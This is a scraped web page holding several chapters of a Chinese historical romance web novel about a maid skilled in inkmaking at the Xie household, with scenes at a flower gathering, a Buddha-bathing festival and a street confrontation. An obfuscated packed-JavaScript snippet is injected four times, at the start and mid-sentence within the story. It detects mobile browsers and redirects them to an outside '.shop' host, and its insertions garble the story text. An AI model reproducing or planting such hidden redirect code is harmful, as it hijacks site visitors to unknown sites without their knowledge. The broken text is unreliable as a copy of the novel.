;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464249|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自聚集在一处闲聊。 这些名花寻常人家几乎不得见，在这里却极是寻常。 云州谢氏，诗礼之家，历经三朝不倒。此刻底蕴足可见。 叶采苓有些惊。 人群内有小姑娘娇憨道：“老祖母，今日众人都来府里了，我们能不能见见谢表哥？” 老夫人笑道：“蓉儿，你谢表哥多了，要见哪个？” “自是那位点探花的谢表哥。”谢蓉嘟嘴道：“能被圣上亲点探花，想是俊美无双，让蓉儿和姐妹们也看看嘛。” 大房夫人失笑道：“女眷自是不能随意见男子的，表哥也不行。不过一会大家便要写书法，蓉儿可以写好了给你大伯母。到时候让你谢表哥给你评点一番。” 谢蓉小孩子心性，此刻便高兴起来，闹着现在要写。 大房夫人道：“倒是还有两盆花儿未曾赏得，不过赏花固在一个随性，现在要写亦是可以的。” 众人便都聚集到了几案之旁。 “先让谁写呢？” 贵女们在家中多是主持中馈，不再勤于练习书画，但幼时的底子都还在着，并不是一窍不通。又知道谢母喜好，此刻几个擅长书法的已经笑着围上去了，只等老夫人点人。 谢母却是拿眼望着温道盈，笑得一脸慈爱。 “上次见持月的时候，你母亲正当华年呢，当时抱着你与我谈论佛经，真是好光景啊。” 她道：“当初那么小的一个团子，如今也是京中才女了。持月此番回来，是我府上佳客，不若就先请你写一幅字如何？” 温道盈见惯这些场面，此刻端着乖巧微笑，讲话十分得体。 “持月年幼，不敢担那些虚名。持月是客亦不能喧宾夺主，老夫人福寿延年，还请老夫人先行。” 谢母开怀道：“小姑娘家家的亦是知道礼让呢，罢了，我这把老骨头就先做个样子。” “这是自然，老夫人须得先做个表率啊。”众人笑道，哄得谢母眉开眼笑。 她被众人簇拥着来到几案前，观望片刻便选了一支中锋毛笔。 狼羊兼毫，出锋尖锐，落笔竟是硬朗无双。 叶采苓在一旁出神的看着。 老夫人的字和她的人竟然有些不同，谢母是慈眉善目的，字却望着大气卓然，笔笔有锋芒。 她写的是白乐天的诗，众人叫好连连。 落笔后谢母仍有些意犹未尽。 “白乐天还有一句‘众芳惟牡丹’亦是上佳，只是若要写来，还须得洒金墨配上连史纸，更配此景。” 宝纱作为得力丫鬟，此刻不会在贵女里面凑热闹，但时时刻刻紧盯老夫人举动。 听到这话，忙上前道：“老夫人放心，早想着不拘着一类纸笔，此时各色纸墨都备着呢。” 她唤小丫头去旁边厢房拿墨，不过一会儿就取回来了。 墨锭里和了明显的金箔，望着是适合书写大字的墨。 放在叶采苓面前。 宝纱有几分急，一股脑地把一堆花叶并各色瓶子放到她面前。 “洒金墨和其余墨不同的，这是之前彩鹊所使的解墨材料。你须得自己挑拣。” 望着这些材料，她心里也没有底。 悄声对叶采苓道：“染墨，无需逞强，要是这洒金墨解不开，换其他墨也是可以的。” 她心道，只是难免在老夫人那里留个不甚太好的印象罢了，但比把事情搞砸了强。 却见到叶采苓已经做出思考的神色。 “——无妨。我可以试试。” 她低声对宝纱说。 11. 第 11 章 在场的贵女们自是不会在意磨墨的丫鬟举动，她们只等着墨制好端上来。 宝纱却为叶采苓提着一口气，有些紧张。 洒金墨在府内用得少，日常书写都不会用到，只是老夫人今日一时兴起要用这墨配牡丹。 染墨她大抵没有见过此物，又如何能解好墨。 叶采苓却没有想这么多，她很快地用目光逐个过了一遍之前彩鹊留下的解墨材料。 拣出了一罐水，移到砚台旁。 留神看了一下桌面上的物件后，她又那包植物里选出一块灰褐色看不出材质的东西，投入另一罐水中浸泡。 手指拈起那块洒金墨锭，搁入砚台后开始均匀地解墨。 老夫人等了片刻，此刻便是饶有兴致地看起了叶采苓的动作。 “你是生面孔，今日彩鹊怎的没来呢？” 叶采苓福了一福，道：“回老夫人的话，彩鹊姐姐今日身体不适，宝纱姐姐唤婢子前来。” 谢母道：“怎的身体不适了。” 老夫人只是在等待过程中闲聊两句，此刻见墨已磨好，便不再闲谈，提笔挥毫。 落笔笔力遒劲，墨色幽深，又因为金箔的原因泛着一层光彩，显得比上一张更为出彩。 “我见祖母的书法更胜一筹了呢！” 贵女们一望这字，都连声地夸奖。 “祖母，蓉儿也想用这纸墨写字嘛。” 是之前说过要写书法给探花表哥的谢蓉，排行十四，很受老夫人喜爱。此刻她见着这书法，眼睛都直了。 大房夫人笑道：“十四这丫头，以为是老祖宗用的纸和墨好呢。须得知道书法好看是要有真功夫的。” 十四小姐却不理睬，就是要用这材料。 叶采苓又磨了洒金墨，把纸给十四小姐铺好。 谢蓉一落笔就感觉此番写得很顺，写完了又仔细瞧那墨去。 “祖母，是府内的墨换新了么？蓉儿瞧着颜色确实更漂亮了。” “你这丫头，想让祖母夸你的书法有进步便直说，何须拐弯抹角呢。”大房夫人笑道。 “确实不错。宝纱，府里是新采了一批墨么？”谢母道：“之后可以在这家常采买着。” 宝纱却摇头道：“还是惯常使的溪明阁，未有新的墨局。” 众人喜笑盈盈地便揭过这一层。谢母见几个年轻女眷都写过，又想起温家才女，便又道：“持月，此番你可不能再推让了，须得好好写几个字。到时候让蓉儿一起看看，是谢表哥写得好，还是温姐姐写得好。” 谢蓉挤挤眼没有接话。不知怎的，她对这个温姐姐不甚有好感，总觉得对方有些说不上来的假。 温道盈此番也觉得到了该展露才华的时候，便不再推让。 她抬手，选的则是笔架上尚无人问津的纯羊毫笔。纯羊毫笔看着柔软蓬松若白云，颇适合女眷，实则使用起来便知羊毫柔软无筋骨，不似狼羊兼毫一般锋锐，对持笔者的腕力有很高的考验。 这亦是书法大家喜爱的毛笔，因其能显现出字体的粗细变化。 温道盈选这支笔，其实已经隐隐显现出她的书法实力。 谢母含着满意的微笑，看着温道盈落笔。 挥洒肆意若流云，确实是大气之作。只是温道盈写得兴起，写到最后一钩之时，衣袖猛然一带。 却是将几案上磨好的墨都泼了一地。 ——瓷罐碎片飞溅。砚台落地，一个角被磕碎，那是谢母近日新得的端砚。 众人惊叫之后却都纷纷安静下来，默契地抬眼望向人群中最靠前的谢老夫人。 莳花会上一切皆是精心设计过的，此番行事突然，扫的是老夫人的兴。若是真要罚，也要看老夫人如何定夺。 谢母见惯风浪，宽厚道:“无妨。便是寻常事，容各人换身衣服便可。” 温道盈脸色是极不好看，甚至比衣服被溅上墨点的谢母脸色还要更差。她此番是想表现自己的，但这事一出，众人也只会记得她写字时弄洒了墨。 不会再有人关心她此番的得意作品了。 须得想法子。 正在焦灼的一瞬间，她的余光瞥见地上一块奇怪的物件。 灰褐色，说方不方，显得极不规整。 电光火石之间她忽地想到什么，转眼惊恐地指着地上的这物件，尖声问道：“这是何物？” “温姐姐缘何如此？”谢蓉顺着她眼光望道：“不过是一块树皮而已，姐姐这是魇着了？” 谢蓉复又抬手小小地打了个哈欠，显然觉得温道盈反应过度了。 温道盈：“不是的，当时在水罐中见到此物，以为是水边虫蛇。” 谢蓉道：“毕竟云州临水，有些虫豸也是正常。况且这只是树皮而已。” 温道盈却正色道：“便是树皮，也还是要仔细寻下来源的。毕竟木通灵，又被人搁到水罐里，我想着大有古怪。” “明日便是四月初八，要是浴佛节前出什么岔子便不好了。” 温道盈反复提及此事，正是要转移话题。 他们就算去查此事也须得时间，那么众人就只会商议这奇怪树皮。 自己此番出丑便可以揭过了。 大房夫人忽地笑道：“你亦是云州出身。我倒是想知道京中是怎样的水晶琉璃样了，连块树皮都容不下。” “况且浴佛节便是要用香叶水的，亦要用到木头煮水。怎的在京城，木与水一结合便是不祥之兆么？” 这话实则已经是在隐晦地提点她。甚至还贴心地给她了一个台阶，用京城云州风俗不同，示意温道盈圆过去。 因得老夫人此刻神色不佳，想必是温道盈提到木通灵的不详之兆，影响了谢母心神。 温道盈却全然不理睬。 她转头便望见在一旁安静侍立的叶采苓，劈头便问：“怎放任树皮落到水罐里了？端的是在府里当值，做事便是一点不当心。府内怎的有这样的丫鬟。” 大房夫人的脸色便也冷下来。 温家女儿她是不熟悉的，只倒是老夫人喜欢，又有京中才女的名号，故自己主办的莳花会也请此女过来。 但此人先是打翻墨汁，又一味地作弄那些小心思。大房夫人也是从少女时期过来的，此刻焉得看不穿。 并且还使唤自己府上的婢女，大房夫人皱起眉头。 温道盈训斥之后，便以为这个婢女会像她自己的婢女一样立即跪下，谁知道对方扬起脸望她。 一双眸子黑白分明。纤薄脊背挺得笔直。 却正是那日书库顶撞她的婢女。 温道盈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464250|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到那日谢泓对这个少女的隐隐回护之势，心里更是不快。 “温姑娘有所不知。” 叶采苓此前一直低眉顺目立在一旁，此刻见话落在自己头上，也只温声道：“有本典籍曾讲过，腊梅树皮浸水磨墨，有光彩。” “婢子看着今日场景，正适合用腊梅水解墨，亦能沾染些花香，正宜浴佛。” 她讲话不卑不亢。 “我怎么不知情？”温道盈没想到对方又顶嘴，再加上又是前日见过的婢女，脸上一股子怨气已经要掩盖不住，正欲开口，谢蓉却粲然一笑道： “我还当今日墨好，原是用了解墨的好方子啊。下次我也叫我院里的婢女过来学学。” 谢母点头道：“这倒是个有心的。” 她转头唤宝纱：“记得今日去取些银锞子赏这婢子。” 本以为事情已揭过。 温道盈心知已经输了一城，此时忽然又道：“这个婢女我曾见过的，之前大公子曾赏她溪明阁的花鸟墨，真真是好墨呢。” “哦？”谢母来了兴趣。 泓哥儿是她最爱重的长孙，又一路应试下来，殿试上被圣人点中探花。只是于感情方面似是完全没有开窍，对几个婢女都冷冰冰的。 现下竟然会主动赏人好墨。 “是啊，我瞧着这婢女也是伶俐漂亮，怪不得大公子喜欢。” 温道盈语气里的意味听着不是很对劲。 大房夫人对这些并不关心，她此刻见这个温家女儿只觉得不喜，便道：“府内会制墨的丫鬟不多，这丫鬟既是会制墨的，便应该留用。” “罢了，便来赏这花吧。” 想到什么，大房夫人脸上又带了些笑意：“还有重头戏在这儿呢，泓哥儿交游广，说是友人特意从洛阳运来的牡丹。云州独一份的。” 她抬手示意，大房夫人身边的丫鬟便抬上两盆花儿来。 一朵墨红色，花型端庄大气，花瓣上似有隐隐的墨色斑点。另一朵拿金色绞丝的网篮罩着，能看出来里面的花朵繁丽精致。 “这墨红牡丹也就罢了，红色固然艳丽好看，放在牡丹里头多了去了，还是不出挑的。”谢母道：“倒是这另一盆黄色的，缘何放在篮子里？” 侍弄花草的丫鬟茗儿道：“回老夫人的话，此花精心培植，也脆弱易折的紧，故平日里用网篮护着。” 大房夫人道：“这花名叫御衣黄，茗儿她们几个丫鬟平日照护的再精心不过了，全等着今明两日。茗儿，你便把网子揭开。” 丫鬟依言照做。 御衣黄确实如其名字，极少见到如此明艳的黄色。花瓣沾了几滴水珠儿，层叠繁复却也灵动，望着甚至把先前的姚黄魏紫的风头都压了下去。 老夫人望了好一会儿，奇道：“这些年里也未曾见过这样端庄的牡丹。明日清供必得把这花儿带上。” 又道：“泓哥儿有心了。” 莳花会便在最后众人共赏这两盆墨红与御衣黄里结束。 大房夫人心道还好有泓哥儿在，莳花会办得算是圆满。心里却是对温道盈极为不喜。 * 入夜了。 飞檐下悬着的一盏琉璃灯晃了晃，烛火昏黄。 有人影悄无声息地摸进北正院。 风起。 12. 第 12 章 次日一早，叶采苓借着晨光在窗下纫针，她此次用的藕荷色的丝线，颜色极浅嫩，故眼睛一眨不眨地盯着针线看。 宝纱却又来唤她出去，道：“今日便是浴佛节的正日子，你新来可能不知，今日各院的丫鬟们都是须得帮忙的。” 叶采苓听闻便放下针线，起身道：“说的是，那我便去北正院帮忙去。” 宝纱笑道:“你便去罢，怕走不到北正院就要被管事们唤去了。” 果然，叶采苓行至中途，已经有陌生管事唤她去炊房。 这里已经被清空，放了几口锃亮的黄铜瓮，旁边堆了各色新鲜花卉并树叶。是用来煮浴佛的香叶水的地方。 “煮香叶水的时候须得人看顾。”管事道：“你们三个要看护好火，正值天气转暖和的时候，小心走水。” 叶采苓点头，去黄铜瓮旁坐着。却见到月茜正在那里笑着同一个陌生婢女谈天。 “染墨，你也来啦——这是芙儿姐姐，别看她看着机灵能干的，现在此偷闲得高兴呢。” 月茜拿那芙儿打趣，对方略一顿，浅笑道：“只是主子此刻不在罢了，一会若是唤我，我便得过去养花了。” “芙儿姐姐，听这名字，莫不是与茗儿姐姐是一起的？都在大夫人身边司花。”叶采苓想起昨日之景：“昨日莳花会还见到茗儿姐姐在侍弄那花呢，府里那牡丹真真是明丽，颜色像太阳光似的，边上还隐隐带橙红。” 芙儿眼神一滞，复又抿唇笑道：“我哪里有茗儿得脸呢，此话便是过了。” “茗儿那是夫人身边的第一红人，我不过一个寻常丫鬟罢了，哪里轮的上侍弄御衣黄那些个名花。” 叶采苓觉得芙儿的语气有些不对劲，但月茜正要寻人往灶膛里添柴火，她便也忘记这层。热热闹闹地随着月茜去了。 回来的时候芙儿正支着头望着灶火，见叶采苓她们去取回柴，便提醒道：“你们之前没煮过香叶水，记得加柴的时候须得注意时机，若是看着黑烟起来了便要停手。” 月茜快言快语笑道：“芙儿姐姐你可知，染墨她之前可是印坊制墨的一把好手，控制火温这些你便放一百个心就是。” 芙儿来了兴趣：“听闻制墨须得用烟？这烟到底是何物，染墨你便与我讲讲。” 叶采苓便与她讲了些制墨收烟的诀窍，还有收烟所用的工具。 月茜插嘴道：“你前些日子收集松烟的时候我便想问了，我见府里近日采买了许多花，那这花儿可以做墨么？” 叶采苓思考片刻，谨慎道：“我未曾知。便是这松烟墨，也是我根据典籍试着在复刻。花朵轻软，不耐烧，恐怕难以入墨。” 月茜道：“我想着各色花颜色不一，大抵也是可以的。况且那花鸟墨，说不定用的便是以花入墨的方子。” “你们还见过花鸟墨？”芙儿在一旁听着，睁大眼睛：“大夫人那里都不是日日都有，说是旬月方能领用此墨，因这墨数量少，稀有的紧。” 叶采苓笑道：“罢了，也是偶然听过。” 月茜却很是自豪的样子，道：“是大公子赏给染墨的哦，她这么会制墨，想必大公子也知晓，故赏她好墨。” 这便是月茜在替自己小姐妹胡诌。总之她们书库婢女在府内是无甚存在感的，此刻见到许久不见的芙儿，便也想着给大夫人身边的婢女夸大两句，炫耀一番。 “大公子么？”芙儿喃喃道。 叶采苓心知月茜并无恶意，但此番讲话难免让有心之人听去，口头便立即谦让。 几人看着炉火闲聊着，忽地听到陌生的声音。 清宏沉着的铜磬音响彻天地，几只飞鸟自屋檐上惊起。 十点浴佛仪式，僧侣们先是用敲磬的声音，以示仪式开始。 此刻佛像蒙着红布，正对着面前熙攘人群。 北正院是浴佛的正地，之后还会抬着佛像游街一周，因着老夫人想与民间众人一同庆祝这释迦摩尼生辰。 不一会浴佛所用的香叶水已经由专人抬走，她们三人暂且无事可做。月茜便邀请叶采苓与芙儿一同去看浴佛仪式。 芙儿却道:“我今儿个有些疲累，便先回去休息了。” 月茜关心道：“看你脸色是不甚好，说不定是闻这花香不适应吧，快回去歇着。” 芙儿却突然拉下脸来道:“你这话便难听了，花香自然是适应的。” “我可是大夫人身边专职司花的大丫鬟，专职司花，懂么？怎会不适应？” 月茜一愣：“怎的突然恼了……我是好心。” 芙儿一脸愠色，却不理她，扭头便走了。 “无事，许是她被这火熏得。” 叶采苓看明白了。 心里揣测是芙儿近日在大夫人处气不顺。 既然茗儿与芙儿连名字都如此相似，又都是大夫人身边一等一的司花丫鬟，昨日大夫人主导的莳花会，怎么却只有茗儿一个人侍弄牡丹呢。 况且老夫人身边的宝纱都知道莳花会是得脸的场合，那若能去成，芙儿也一定会去。 但她不仅未去成，今日又被发配来和她们两个远离府内权利中心的司书婢女一道守火。 不知有何内情，但她心里一定忿然。 两人讲通这一关节，月茜也便不再气恼，眼睛一弯道：“亏我刚刚一叠声地叫她芙儿姐姐呢，那我们便不理她。” “走罢，我知晓有一处地方，看浴佛仪式刚好，不必与旁人挤。” 她们立在一处偏房之前，此处恰巧有供人垫脚的地方。 又因着地势，能看清北正院浴佛仪式的一角。 此刻莲花幡随风飘动。 云霭如海。 着海青的僧侣们已立在佛祖金身前，低声唱诵着梵天经文。 喃喃的吟诵声里，谢府有资格上香的众人随着领路的大主持，虔敬地依次敬上那一注香。 谢泓排在小辈中的第一个，此刻正在佛前微微躬身，点燃香火。 叶采苓立在远处看他，只能看到半张疏淡侧脸。 长阶上谢泓执香，与佛像遥遥对望。 说不清眼眸里有几分悲悯。 苍生如刍狗。 他却欲见苍生。 有风卷起庭中青烟，遥遥向着高天之上去了。 “施主可有所求？” 大主持见他沉思，低声道。 “今日四月初八，若施主有愿，可在心中默念。” 谢泓长睫微垂。 若是从前，他定不会如此。 他知世事常有浊清，天意不可逆，信神佛不若信自己。 但此刻却在心里发下弘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464251|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿，愿神佛护佑众生皆安。 用以掩盖自己心里的那份小小念想。如此，他所寻的那人亦能在佛祖护佑之中罢。 敬完香火，四下里便出来几个干练家仆，净手焚香之后请起佛祖金身，抬上金架。 月茜见叶采苓发怔，伸手点点她泛粉的脸颊，道：“好啦，这里便看不到什么了，之后金身大抵会先去街巷上游一周，便再抬回来沐浴。” “啊？”叶采苓回神。 月茜笑道：“我道你还是看上某位谢家公子了。啊，忘记了，你手头还有那位赏的墨呢。” “便不是某位，我看哪，你心仪的便只有探花郎这一位。” 叶采苓道：“月茜你莫要说笑了。” 又眨眨眼，有几份心虚地转移话题：“你说佛祖金身要游街？我们也会去街上看看么？” “去，今天书库嬷嬷不管的，府内好多人会出街闲逛呢。” 月茜也不戳穿，挤挤眼：“主子们若是有爱玩乐的，也会出府逛逛。何况我们呢。” “那便出去看看。” 叶采苓道：“我这几日制了些墨，说不定还可以出府卖些。” 月茜点头道：“北正门出来的那里便是摆摊的坊市，你拿去铺子卖些亦可。” * 谢府北院外。 此处本就是一处小摊小贩聚集的街巷，此刻因得浴佛节，更有许多担着小物件的小贩聚集于此。 人声鼎沸，热闹非凡。 “嘘，你可不要往那边去。” 卖汤团的婆子已经拦了好几次自家乱走的小孙女，眼带警惕地望着街角那男人。男人衣着破旧，袖口还带黑泥，时不时拿衣袖揩一下脸。 他四下偷瞄了一圈，佯装无意地走到卖炸油果子的地方，快速地抽走一个油果子用袖子挡住了。 “阿婆，他偷东西。” 小丫头眼睛尖，此刻望着那男人道。男人恶狠狠地看过来。 婆子佯装没听见，低头训了两句小丫头，担着汤团担子却是拉着小丫头走了。 叶青山从鼻子里发出“嘁”的一声，抬手咬了一口油果子，随意地在地上坐下了。眼睛仍望着那道门。 他今日得到消息，说谢府在办浴佛节，府内公子小姐都会出来。丫鬟婢女之类的当然也会跟着主子上街。 叶采苓自从去了那谢府就再也没回来过，他先前来过几次，都没有守到。 此刻他便要好好地在这门口守上一守，一定要守到这没规矩的丫头。 虽然不是亲生的，但叶家养她有恩，此刻她又在谢府挣到大钱了，吐点出来也是应该的。 况且她自己又不知情。 让她交出月钱来给娘买药，她必然是肯的。这钱之后去了哪里，也就由不得她了。 “云白哥，你怎么了？” 府外，两个少年郎一前一后地立在那里，衣着有些相似，仿佛是谁家的兄弟俩似的。 石青几步跑过来，有些好奇地问：“怎的神色有些凝重，是看到何物了。” 云白摇摇头，看一眼街角道：“总觉得有些不对劲。罢了，大公子要的三豆凉饮买好了么？” 石青扬手示意已经买到。 “走罢，大公子应该就在前方等着了。” 两人便离开此处摊位。 13. 第 13 章 谢府北巷之外，有一处人群自发围成一个圈子，好奇地往里张望。只见圈內一个小贩正做出炒米花的样子。 他此刻举着一个空簸箕向人群展示，口中道：“诸位且看好了，我手里这簸箕可是空的，我一会便要从这簸箕里头炒出白米花来，小哥，你可信？” 被他问到的人没料到这一出，后退了几步，涨红了脸道：“我，我没见过，不晓得。” 小贩再次把簸箕向人群中递了递，道：“谁有不信的，大可以查看一下，一会米花便要从这里头炒出来了，到时这里头便盛得满满的，谁要买？” “染墨，我们买么？好想买啊！”月茜正踮着脚看得热闹。 叶采苓挽一挽手里的包袱，无奈道:“我看着这还须得等上一会，要么我先去寻个卖吃食的摊子？等此人变出来米花，再回来买也不迟。” 月茜道：“不行，我须得亲眼看看他是如何变的。”她又想到什么，道：“啊，要么你先去买两份凉饮子，今日卖凉饮子的摊子不少呢，我片刻便来寻你。” 叶采苓点头道：“那我便先向前去寻寻。” 她一路前行，见到许多小摊，有几个卖果子饮和冷汤团的。她买了两份紫苏桃子饮，准备拎了给月茜带过去。 摩肩接踵之间，她忽地看到一道有些熟悉的身影。 卖玩器的摊子前有个青年男子，长身玉立，此刻手指点了点面前一只竹骨纸鸢，低头与旁边的小厮道了句什么。 那衣服与她早些时候见到的，谢泓的装束别无二致。 忽地见有女子袅袅婷婷地行至他身旁，簪子末端那一颗砂红珊瑚摇晃着，似要贴到谢泓耳边。 “宣岑，怎的也出来闲逛了？” 是温道盈。此刻一副从容的样子，拿手指卷一卷鬓边的一缕额发，眼里盛着温柔浅笑。 谢泓却心念一动，忽地微微偏头看向侧后，叶采苓分明看见他的疏淡眉眼，却下意识地低下头躲闪开。 谢泓微微皱眉。 刚刚那一瞬间他忽然有种很熟悉的感觉，像是很久很久之前，儿时在云州的郊野里，也曾有过这样的时刻。 四月花软风暖，他立在一处摊子前，那时身后有小丫头清脆的声音在他耳边唤他名字。他在记忆里已经转头和她谈笑，此刻却无法想起对方的模样。 “……泓哥儿，要纸鸢么？”小丫头道。 * “——宣岑，要纸鸢么？” 他猛地回神，却见温道盈在一旁专注地看着那纸鸢，道：“儿时好像也放过这样的纸鸢，只是纸鸢总是飞得太高，收起线来便难了。” 谢泓显现出怀念神色，自然地接道：“所以我那时候放纸鸢，偶尔会带上些铁片。” 温道盈点点头。 此时话题跳跃的有些大，但她从记忆里努力搜寻，一瞬间想起儿时放纸鸢的光景。孩子们若是实在收不回线，是如何做的呢？ 她便做出恍然大悟神色，笑着接道：“我懂，实在收不回来，便直接割了线放飞便是。” 这竟然是自己少有的几次能与谢泓进行轻松闲谈。 而谢泓一瞬间有些恍然。 好像记忆里的身影此刻又与眼前人有几分重叠。他眼底带了几分探寻之色，漫不经心地垂眸看向那小摊上的小泥人。 忽地道：“果然云州的孩子都一个样。我儿时经常遣了家仆，自己偷溜去枫心原。原上有许多小童，我们便相携着玩。” “我亦去过，”温道盈笑道：“枫心原实在很有趣味，当然是在小童眼里。现在都不知道自己当初是怎么想的，在草里都能玩上几个时辰。”这的确是她的童年回忆，只不过云州的孩童都喜欢去枫心原上玩耍，倒也不是什么秘密。 谢泓颔首微笑。 后来两人又谈论了几句，却都围绕着儿时的那些游玩地点。 他对温道盈此番的态度确实变得柔和了些，温道盈却是都记在心里。 怎的会如此？她暗暗纳闷，却是默默地记下了“谢泓似是对儿时枫心原玩耍印象颇深”这件事。 叶采苓隔着人堆望过去，见两人先后离开，自己方才走出来。 她有几分懊恼地随处找了一个转角，靠在墙边思忖自己刚刚的举动。又不是不能出来逛，自己刚刚是在躲什么？ 但心里却一遍一遍地反复想着刚刚眼见的那一幕。两个身份矜贵的青年男女，望着却是般配的。 当然般配，毫无疑问。 可是此刻自己的慌张又是怎么一回事呢。 她咽下喉头那一份微妙的不愉，转身欲走。 面前支着汤团摊子的婆婆却忽然伸手扯住她衣袖。 “姑娘，婆子劝你先歇个脚，前头那个男子我看着不好相与的。” 叶采苓一时间恍了下神，望向前面，却没看见人影。 婆子有些讪讪，道：“方才那边确实有个人，看着古怪的紧，只是现在没见了。” 叶采苓摇摇头道：“无事，左右也想买汤团，婆婆帮我多放些蜜。” 她买了份汤团，向前走去。 身体忽然踉跄着向前倾斜，几乎要扑倒在地。她艰难地稳住身体重心，转头，叶青山带着一脸得意的笑看着她。 怎么会是他？他是一早就在这里等着了么？ “什么时候打算回家哪？” 叶采苓抿着唇望着他，却不答，低头快步甩开。 叶青山紧跟上去，冷笑道：“你总归是要回去的。攀上谢府的高枝，便忘了家里还有娘和妹妹不是么？” “别在此处装傻了。”他道。 叶采苓一副没听见的神色，专往人堆里走，被叶青山一把抓住肩膀。 “我并不认识你。”叶采苓见无法脱身，终于望向对方道：“我们有何联系么？” “不认识？”叶青山呲着牙乐了：“你家亲哥不认识？还是亲妹子不认识？” 他一张脸快要贴近叶采苓的脸上，左右上下打量着，道：“有了不少钱吧，拿出来。” 叶采苓感觉自己被恶心的虫豸盯上了，那种黏腻恶心的感觉让她只想下意识逃窜。 但此刻肩头上的手却死死攥着，不让她走。 “拿出来啊，包袱里总该有东西吧。” 叶青山见对面的人一副倔强的石头模样，却忽地松开攥住叶采苓肩膀上的手，虚晃一枪直接上手抢了她肩头的包袱。 嘶啦—— 叶采苓下意识去抢，自然抢不过叶青山。 包袱碎裂。 地上掉出几块墨锭。 大多是通体黑亮无雕饰的，于是那一块雕花鸟且描金的墨就显得很是显眼。 叶青山冷哼道：“都是些什么破烂玩意。”下手却快，当即伸手就要去捡那块花鸟墨。 溪明阁，描金，最重要的是……是那个人赏的。 一瞬间叶采苓脑子里电光火石想到很多。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464252|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>却一时间蹲下，马上护住那块墨。 “此物不能给你。” 她明明是打算带出来，把此物和自己做的墨一起寻个摊子卖掉的。 但望着这墨落在地上却忽地心软了。 不能卖掉，更不能给叶青山。 叶青山反而嗤笑出声：“这玩意你当我稀罕么？” 见少女蹲在地上，他抬脚便要顺便一踢，口里道：“要不是你离家不给月钱，你当我傻的，向你要这烂煤块……” 话音未落，却是重重地摔在地上。 叶青山啐一口唾沫，旋身欲起来回击。不等他起身，又是一脚飞来。 他只觉得膝盖一软，无力地再次摔倒。 “哪里来的不三不四家伙，敢轻薄我们府的姑娘。”石青居高临下地看着他，转头邀功似的道：“大公子，小的做的如何？” 叶采苓惶然望去。 目光里是今日方才见过的人，模糊着辨不清脸色。 谢泓站在那里不答话。 周围空气里凝着沉沉的云。 叶青山瘫在地上，此刻忽地放声假哭起来，口道家妹不孝，跟着野男人跑了，如今家里揭不开锅云云。 周围人来人往，本就有不少人无所事事，此刻竟是围上了不少人。 谢泓几步走过去，却是不动声色地隔开了叶采苓与地上撒泼的叶大。 “走罢。” 叶采苓手里紧紧握着刚刚护住的花鸟墨，此刻惶急地抬头看，没有说话，眼神只往地上的叶青山之处望。 “云白会处理好的，你且放心。” 谢泓淡淡道。 “石青，你送姑娘回去。” 叶青山在地上目瞪口呆地望。叶采苓此刻究竟是何身份？主要是刚刚那几个人都口称姑娘，让他辨不清情况。 若是通房，此刻看着不像。可若是丫鬟，那几个人的态度望着又是好的，不像是对婢女的态度。 叶青山念及此处，那撒泼哭嚎的声音似是又低了些。 叶采苓尚不知道自己是捡来的，用家庭亲情拴着她，说不定还是可以的。此番宜得放长线。 他在地上佯装虚弱道：“苓儿，只是娘实在是重病……” 叶采苓被石青护着往人群外走，此刻想起杜氏那双殷切的眼，心头无由地一跳。 她表情依旧冷漠：“地上那墨锭可以拿去卖。质量都是上乘的。卖了去买药便是。” 心道这是为了母亲和小妹，绝不是为了叶青山。 云白在周围遣散围观人群，听到这话却是高看一眼叶采苓。 大公子用人要求极高。谢泓他自己入朝为官已有些时日，养成一副果断的性子，便也要求手下人做事要拎得清楚，不得含糊。 但大公子也常提点他们，做事有决断是一方面，却要谨记得，行事需得替人留一分。 先前公子身边有个丫鬟叫闻笛的，便是为了自己的几分好处，去大公子面前揭另一个丫鬟的短。大公子明面上未曾说甚，后来却是不太用此人。 此刻面前的婢女望着却是个心性纯正的。 他记得此人名叫染墨，因得书库婢女与各院丫鬟小厮都无甚牵扯，并且用典籍都须得过她们之手，所以一来二去，大公子身边的人倒是都与她熟悉起来。 